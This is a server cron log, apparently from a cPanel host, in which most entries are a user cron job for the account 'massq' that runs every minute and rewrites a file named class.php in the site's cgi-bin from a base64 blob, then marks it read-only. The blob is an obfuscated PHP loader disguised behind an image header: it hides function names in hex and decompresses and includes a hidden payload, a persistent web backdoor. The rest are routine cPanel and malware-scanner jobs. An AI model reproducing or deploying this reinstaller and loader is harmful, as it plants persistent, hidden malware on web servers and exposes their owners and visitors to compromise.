Nov 10 13:04:01 server CROND[6445]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:05:01 server CROND[7324]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:05:01 server CROND[7325]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 13:05:01 server CROND[7327]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:05:01 server CROND[7328]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 13:06:01 server CROND[8216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:07:01 server CROND[9216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:08:01 server CROND[10042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:09:01 server CROND[11073]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:09:01 server CROND[11074]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 13:10:01 server CROND[11880]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 13:10:01 server CROND[11882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:10:01 server CROND[11883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:10:01 server CROND[11881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 13:11:01 server CROND[12110]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:12:01 server CROND[12831]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:12:01 server CROND[12833]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 13:13:01 server CROND[13416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:14:01 server CROND[14065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:15:01 server CROND[14902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 13:15:01 server CROND[14905]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 13:15:01 server CROND[14907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 13:16:01 server CROND[15826]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
